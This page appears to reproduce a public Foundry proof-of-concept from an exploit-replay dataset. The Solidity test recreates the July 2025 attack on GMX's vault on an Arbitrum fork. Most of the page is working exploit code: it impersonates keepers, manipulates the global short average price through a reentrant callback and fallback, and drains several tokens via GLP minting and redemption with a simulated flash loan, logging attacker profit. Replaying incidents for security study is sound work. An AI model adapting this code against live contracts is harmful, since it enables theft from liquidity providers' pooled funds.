Public reproduction file
src/test/2025-07/gmx_exp.sol
Public reproduction file for dataset entry GMX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.22;4import "forge-std/Test.sol";5import "../interface.sol";7interface IRewardRouterV2 {8 function mintAndStakeGlp(address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns (uint256);9 function unstakeAndRedeemGlp(address _tokenOut, uint256 _glpAmount, uint256 _minOut, address _receiver) external returns (uint256);10}12interface IGMXPositionRouter {13 function createDecreasePosition(14 address[] memory _path,15 address _indexToken,16 uint256 _collateralDelta,17 uint256 _sizeDelta,18 bool _isLong,19 address _receiver,20 uint256 _acceptablePrice,21 uint256 _minOut,22 uint256 _executionFee,23 bool _withdrawETH,24 address _callbackTarget25 ) external payable returns (bytes32);26 function minExecutionFee() external view returns (uint256);27 function executeDecreasePositions(uint256 _endIndex, address payable _executionFeeReceiver) external;28 function getRequestQueueLengths() external view returns (uint256, uint256, uint256, uint256);29}30interface IGMXOrderBook {31 function createIncreaseOrder(32 address[] memory _path,33 uint256 _amountIn,34 address _indexToken,35 uint256 _minOut,36 uint256 _sizeDelta,37 address _collateralToken,38 bool _isLong,39 uint256 _triggerPrice,40 bool _triggerAboveThreshold,41 uint256 _executionFee,42 bool _shouldWrap43 ) external payable;45 function minExecutionFee() external view returns (uint256);46 function minPurchaseTokenAmountUsd() external view returns (uint256);47 function swapOrdersIndex(address _account) external view returns (uint256);48 function increaseOrdersIndex(address _account) external view returns (uint256);49 function decreaseOrdersIndex(address _account) external view returns (uint256);50 function createDecreaseOrder(51 address _indexToken,52 uint256 _sizeDelta,53 address _collateralToken,54 uint256 _collateralDelta,55 bool _isLong,56 uint256 _triggerPrice,57 bool _triggerAboveThreshold58 ) external payable;59}60interface IGMXRouter {61 function approvePlugin(address _plugin) external;62}64interface IGMXPositionManager {65 function executeIncreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;66 function executeDecreaseOrder(address _account, uint256 _orderIndex, address payable _feeReceiver) external;68}70interface IGMXVault {71 function tokenToUsdMin(address _token, uint256 _amount) external view returns (uint256);72 function getPosition(address _account, address _collateralToken, address _indexToken, bool _isLong) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, bool, uint256);73 function globalShortAveragePrices(address _indexToken) external view returns (uint256);74 function increasePosition(75 address _account,76 address _collateralToken,77 address _indexToken,78 uint256 _sizeDelta,79 bool _isLong80 ) external;81 function decreasePosition(82 address _account,83 address _collateralToken,84 address _indexToken,85 uint256 _collateralDelta,86 uint256 _sizeDelta,87 bool _isLong,88 address _receiver89 ) external returns (uint256);90 function poolAmounts(address _token) external view returns (uint256);91 function reservedAmounts(address _token) external view returns (uint256);92 function getMaxPrice(address _token) external view returns (uint256);93 function getMinPrice(address _token) external view returns (uint256);94}96interface IGMXShortsTracker {97 function updateGlobalShortData(address _account, address _collateralToken, address _indexToken, bool _isLong, uint256 _sizeDelta, uint256 _markPrice, bool _isIncrease) external;98}100interface IGMXGlpManager {101 function getGlobalShortDelta(address _token) external view returns (bool, uint256);102 function getGlobalShortAveragePrice(address _token) external view returns (uint256);103 function getAumInUsdg(bool _maximise) external view returns (uint256);104}106interface IGMXFastPriceFeed{107 function setPricesWithBitsAndExecute(108 uint256 _priceBits,109 uint256 _timestamp,110 uint256 _endIndexForIncreasePositions,111 uint256 _endIndexForDecreasePositions,112 uint256 _maxIncreasePositions,113 uint256 _maxDecreasePositions114 ) external;115}117interface IRewardTracker {118 function stakedAmounts(address _account) external view returns (uint256);119}121contract ContractTest is Test {123 IGMXOrderBook orderBook_ = IGMXOrderBook(0x09f77E8A13De9a35a7231028187e9fD5DB8a2ACB);124 IGMXVault vault_ = IGMXVault(0x489ee077994B6658eAfA855C308275EAd8097C4A);125 IGMXRouter router_ = IGMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);126 IGMXPositionManager positionManager_ = IGMXPositionManager(0x75E42e6f01baf1D6022bEa862A28774a9f8a4A0C);127 IGMXShortsTracker short_tracker_ = IGMXShortsTracker(0xf58eEc83Ba28ddd79390B9e90C4d3EbfF1d434da);128 IGMXGlpManager glp_manager_ = IGMXGlpManager(0x3963FfC9dff443c2A94f21b129D429891E32ec18);129 IGMXPositionRouter positionRouter_ = IGMXPositionRouter(0xb87a436B93fFE9D75c5cFA7bAcFff96430b09868);130 IGMXFastPriceFeed fastPriceFeed_ = IGMXFastPriceFeed(0x11D62807dAE812a0F1571243460Bf94325F43BB7);131 IRewardRouterV2 rewardRouterV2_ = IRewardRouterV2(0xB95DB5B167D75e6d04227CfFFA61069348d271F5);132 IRewardTracker rewardTracker_ = IRewardTracker(0x1aDDD80E6039594eE970E5872D247bf0414C8903);134 IERC20 gmx_lp_token_ = IERC20(0x4277f8F2c384827B5273592FF7CeBd9f2C1ac258);135 IERC20 weth_ = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);136 IERC20 btc_ = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);137 IERC20 usdc_ = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);138 IERC20 usde_ = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);139 IERC20 link_ = IERC20(0xf97f4df75117a78c1A5a0DBb814Af92458539FB4);140 IERC20 uni_ = IERC20(0xFa7F8980b0f1E64A2062791cc3b0871572f1F7f0);141 IERC20 usdt_ = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);142 IERC20 frax_ = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);143 IERC20 dai_ = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);145 address routerPositionKeeper_ = 0x2BcD0d9Dde4bD69C516Af4eBd3fB7173e1FA12d0;146 address orderBookKeeper_ = 0xd4266F8F82F7405429EE18559e548979D49160F3;148 bool isProfit = false;150 // 区块355878385时,eth价格是2652.39151 function setUp() public {152 vm.createSelectFork("arbitrum", 355878385 - 1);153 deal(address(usdc_), address(this), 3001000000);154 vm.deal(address(this), 2 ether);155 router_.approvePlugin(address(orderBook_));156 router_.approvePlugin(address(positionRouter_));157 usdc_.approve(address(rewardRouterV2_), type(uint256).max);158 usdc_.approve(address(glp_manager_), type(uint256).max);159 frax_.approve(address(rewardRouterV2_), type(uint256).max);160 frax_.approve(address(glp_manager_), type(uint256).max);163 }165 function testExploit() public {166 console2.log("-------- attack before --------");167 console2.log("eth balance of vault = ", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());168 console2.log("btc balance of vault = ", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());169 console2.log("usdc balance of vault = ", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());170 console2.log("usde balance of vault = ", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());171 console2.log("link balance of vault = ", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());172 console2.log("uni balance of vault = ", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());173 console2.log("usdt balance of vault = ", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());174 console2.log("frax balance of vault = ", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());175 console2.log("dai balance of vault = ", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());177 for (uint256 i = 0; i < 2; i++) {178 createOpenETHPosition();179 keeperExecuteOpenETHPosition();180 }182 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));184 createCloseETHPosition();185 for(uint i = 0; i< 5; i++) {186 keeperExecuteCloseETHPosition();187 keeperExecuteCloseBTCPosition();188 }189 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));190 isProfit = true;191 keeperExecuteCloseETHPosition();192 console2.log("-------- attack after --------");193 console2.log("eth balance of vault = ", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());194 console2.log("btc balance of vault = ", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());195 console2.log("usdc balance of vault = ", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());196 console2.log("usde balance of vault = ", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());197 console2.log("link balance of vault = ", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());198 console2.log("uni balance of vault = ", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());199 console2.log("usdt balance of vault = ", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());200 console2.log("frax balance of vault = ", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());201 console2.log("dai balance of vault = ", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());202 }204 // https://arbiscan.io/tx/0x0b8cd648fb585bc3d421fc02150013eab79e211ef8d1c68100f2820ce90a4712205 function createOpenETHPosition() public {206 // Leveraged long position opened207 // Used 0.1 ETH to open a 2.003x leveraged position208 // 2.003 = 531 / (0.1 * 2652.39)209 address[] memory path = new address[](1);210 path[0] = address(weth_);211 orderBook_.createIncreaseOrder{value: 0.1003 ether}(212 path, 213 100000000000000000, // amountIn214 address(weth_), // indexToken215 0, // minOut216 531064000000000000000000000000000, // sizeDelta,2.003倍的杠杆217 address(weth_), // collateralToken218 true, // isLong219 1500000000000000000000000000000000, // triggerPrice220 true, // triggerAboveThreshold221 orderBook_.minExecutionFee() * 3, // executionFee222 true // shouldWrap223 );224 }226 // https://arbiscan.io/tx/0x28a000501ef8e3364b0e7f573256b04b87d9a8e8173410c869004b987bf0beef227 function keeperExecuteOpenETHPosition() public {228 vm.startPrank(orderBookKeeper_);229 positionManager_.executeIncreaseOrder(address(this), orderBook_.increaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));230 vm.stopPrank();231 }233 // https://app.blocksec.com/explorer/tx/arbitrum/0x20abfeff0206030986b05422080dc9e81dbb53a662fbc82461a47418decc49af 234 function createCloseETHPosition() public {235 (uint256 size, uint256 collateral, uint256 entryPrice, uint256 reserveAmount, uint256 realisedPnl, uint256 entryFundingRate, bool isLong, uint256 lastIncreasedTime) = vault_.getPosition(address(this), address(weth_), address(weth_), true);236 orderBook_.createDecreaseOrder{value: orderBook_.minExecutionFee() * 3}(237 address(weth_),238 size / 2,239 address(weth_),240 collateral/2,241 true,242 1500000000000000000000000000000000,243 true);244 }246 // https://app.blocksec.com/explorer/tx/arbitrum/0x1f00da742318ad1807b6ea8283bfe22b4a8ab0bc98fe428fbfe443746a4a7353?line=162247 function keeperExecuteCloseETHPosition() public {248 vm.startPrank(orderBookKeeper_);249 positionManager_.executeDecreaseOrder(address(this), orderBook_.decreaseOrdersIndex(address(this)) - 1, payable(orderBookKeeper_));250 }253 // https://app.blocksec.com/explorer/tx/arbitrum/0x222cdae82a8d28e53a2bddfb34ae5d1d823c94c53f8a7abc179d47a2c994464e?line=134254 function keeperExecuteCloseBTCPosition() public {255 (uint256 increasePositionRequestKeysStart, uint256 increasePositionRequestKeysLength, uint256 decreasePositionRequestKeysStart, uint256 decreasePositionRequestKeysLength) = positionRouter_.getRequestQueueLengths();256 vm.startPrank(routerPositionKeeper_);257 fastPriceFeed_.setPricesWithBitsAndExecute(258 650780127152856667663437440412910, 259 block.timestamp,260 increasePositionRequestKeysStart + increasePositionRequestKeysLength,261 decreasePositionRequestKeysStart + decreasePositionRequestKeysLength,262 increasePositionRequestKeysLength,263 decreasePositionRequestKeysLength264 );266 vm.stopPrank();267 }269 // Key point: globalShortAveragePrice has already been changed270 // This is GMX’s callback function, gmxPositionCallback, which is called when a market order is closed.271 function gmxPositionCallback(bytes32 positionKey, bool isExecuted, bool isIncrease) external {272 createCloseETHPosition();273 }275 // It is called when closing an ETH position.276 // This is also a critical reentrancy point.277 fallback() external payable {278 if(isProfit) {279 profitAttack();280 }else{281 console2.log("glp_manager_.getGlobalShortAveragePrice(address(btc_)) = ", glp_manager_.getGlobalShortAveragePrice(address(btc_)));282 usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));283 vault_.increasePosition(address(this), address(usdc_), address(btc_), 90030000000000000000000000000000000, false);284 address[] memory path = new address[](1);285 path[0] = address(usdc_);286 positionRouter_.createDecreasePosition{value: 3000000000000000}(287 path,288 address(btc_),289 0,290 90030000000000000000000000000000000,291 false,292 address(this),293 120000000000000000000000000000000000,294 0,295 3000000000000000,296 false,297 address(this)298 );299 }300 }302 // https://app.blocksec.com/explorer/tx/arbitrum/0x03182d3f0956a91c4e4c8f225bbc7975f9434fab042228c7acdc5ec9a32626ef303 function profitAttack() public{304 console2.log("******* start profitAttack *******");305 // flashloan usdc 7538567_619570306 deal(address(usdc_), address(this), 7_538_567_619570); 307 uint256 glpAmount = rewardRouterV2_.mintAndStakeGlp(address(usdc_), 6000000000000, 0, 0);308 usdc_.transfer(address(vault_), usdc_.balanceOf(address(this)));310 vault_.increasePosition(address(this), address(usdc_), address(btc_), 15385676195700000000000000000000000000, false);311 getProfitForETH();312 getProfitForBTC();313 getProfitForUSDC();314 getProfitForUSDE();315 getProfitForLINK();316 getProfitForUNI();317 getProfitForUSDT();318 getProfitForFRAX();319 getProfitForDAI();320 vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 15385676195700000000000000000000000000, false, address(this));322 for(uint i = 0; i < 10; i++) { 324 rewardRouterV2_.mintAndStakeGlp(address(frax_), 9000000000000000000000000, 0, 0);325 usdc_.transfer(address(vault_), 500000000000);326 vault_.increasePosition(address(this), address(usdc_), address(btc_), 12500000000000000000000000000000000000, false);327 getProfitForFRAX();328 vault_.decreasePosition(address(this), address(usdc_), address(btc_), 0, 12500000000000000000000000000000000000, false, address(this));329 console2.log("glpAmount = ", IERC20(address(rewardTracker_)).balanceOf(address(this)));330 }331 getProfitForUSDC();332 usdc_.transfer(address(0x1), 7_538_567_619570); // repay flashloan333 console2.log("profit weth_ of Attacker ", weth_.balanceOf(address(this)) / 10 ** weth_.decimals());334 console2.log("profit btc_ of Attacker ", btc_.balanceOf(address(this)) / 10 ** btc_.decimals());335 console2.log("profit usdc_ of Attacker ", usdc_.balanceOf(address(this)) / 10 ** usdc_.decimals());336 console2.log("profit usde_ of Attacker ", usde_.balanceOf(address(this)) / 10 ** usde_.decimals());337 console2.log("profit link_ of Attacker ", link_.balanceOf(address(this)) / 10 ** link_.decimals());338 console2.log("profit uni_ of Attacker ", uni_.balanceOf(address(this)) / 10 ** uni_.decimals());339 console2.log("profit usdt_ of Attacker ", usdt_.balanceOf(address(this)) / 10 ** usdt_.decimals());340 console2.log("profit frax_ of Attacker ", frax_.balanceOf(address(this)) / 10 ** frax_.decimals());341 console2.log("profit dai_ of Attacker ", dai_.balanceOf(address(this)) / 10 ** dai_.decimals());342 console2.log("******* end profitAttack *******");343 }345 function getProfitForETH() public {346 uint256 profit_delta = vault_.poolAmounts(address(weth_)) - vault_.reservedAmounts(address(weth_));347 uint256 price = vault_.getMaxPrice(address(weth_)); // 1e30348 uint256 usdgAmount = profit_delta * price / (10 ** weth_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18349 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18350 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18351 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18352 rewardRouterV2_.unstakeAndRedeemGlp(address(weth_), glpAmount, 0, address(this));353 }354 function getProfitForBTC() public {355 uint256 profit_delta = vault_.poolAmounts(address(btc_)) - vault_.reservedAmounts(address(btc_));356 uint256 price = vault_.getMaxPrice(address(btc_)); // 1e30357 uint256 usdgAmount = profit_delta * price / (10 ** btc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18358 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18359 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18360 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18361 rewardRouterV2_.unstakeAndRedeemGlp(address(btc_), glpAmount, 0, address(this));362 }363 function getProfitForUSDC() public {364 uint256 profit_delta = vault_.poolAmounts(address(usdc_)) - vault_.reservedAmounts(address(usdc_));365 uint256 price = vault_.getMaxPrice(address(usdc_)); // 1e30366 uint256 usdgAmount = profit_delta * price / (10 ** usdc_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18367 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18368 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18369 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18370 rewardRouterV2_.unstakeAndRedeemGlp(address(usdc_), glpAmount, 0, address(this));371 }372 function getProfitForUSDE() public {373 uint256 profit_delta = vault_.poolAmounts(address(usde_)) - vault_.reservedAmounts(address(usde_));374 uint256 price = vault_.getMaxPrice(address(usde_)); // 1e30375 uint256 usdgAmount = profit_delta * price / (10 ** usde_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18376 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18377 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18378 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18379 rewardRouterV2_.unstakeAndRedeemGlp(address(usde_), glpAmount, 0, address(this));380 }381 function getProfitForLINK() public {382 uint256 profit_delta = vault_.poolAmounts(address(link_)) - vault_.reservedAmounts(address(link_));383 uint256 price = vault_.getMaxPrice(address(link_)); // 1e30384 uint256 usdgAmount = profit_delta * price / (10 ** link_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18385 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18386 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18387 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18388 rewardRouterV2_.unstakeAndRedeemGlp(address(link_), glpAmount, 0, address(this));389 }390 function getProfitForUNI() public {391 uint256 profit_delta = vault_.poolAmounts(address(uni_)) - vault_.reservedAmounts(address(uni_));392 uint256 price = vault_.getMaxPrice(address(uni_)); // 1e30393 uint256 usdgAmount = profit_delta * price / (10 ** uni_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18394 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18395 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18396 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18397 rewardRouterV2_.unstakeAndRedeemGlp(address(uni_), glpAmount, 0, address(this));398 }399 function getProfitForUSDT() public {400 uint256 profit_delta = vault_.poolAmounts(address(usdt_)) - vault_.reservedAmounts(address(usdt_));401 uint256 price = vault_.getMaxPrice(address(usdt_)); // 1e30402 uint256 usdgAmount = profit_delta * price / (10 ** usdt_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18403 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18404 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18405 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18406 rewardRouterV2_.unstakeAndRedeemGlp(address(usdt_), glpAmount, 0, address(this));407 }408 function getProfitForFRAX() public {409 uint256 profit_delta = vault_.poolAmounts(address(frax_)) - vault_.reservedAmounts(address(frax_));410 uint256 price = vault_.getMaxPrice(address(frax_)); // 1e30411 uint256 usdgAmount = profit_delta * price / (10 ** frax_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18412 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18413 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18414 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18415 rewardRouterV2_.unstakeAndRedeemGlp(address(frax_), glpAmount, 0, address(this));416 }417 function getProfitForDAI() public {418 uint256 profit_delta = vault_.poolAmounts(address(dai_)) - vault_.reservedAmounts(address(dai_));419 uint256 price = vault_.getMaxPrice(address(dai_)); // 1e30420 uint256 usdgAmount = profit_delta * price / (10 ** dai_.decimals()) / 1e12; // (token * 1e30 / 1eN) / 1e12 = 1e18421 uint256 glpTotal = gmx_lp_token_.totalSupply(); // 1e18422 uint256 aumInUsdg = glp_manager_.getAumInUsdg(false); // 1e18423 uint256 glpAmount = usdgAmount * glpTotal / aumInUsdg; // 1e18424 rewardRouterV2_.unstakeAndRedeemGlp(address(dai_), glpAmount, 0, address(this));425 }426}Analysis
Dataset entry
Public Foundry test for “GMX” (2025-07-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- GMX
- Path
- src/test/2025-07/gmx_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 891f0b9ed89b79942e12a78ad32da4d345405ad2
- Language
- Solidity
- Size
- 427 lines
- Date
- 2025-07-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/gmx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 891f0b9ed89b79942e12a78ad32da4d345405ad2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.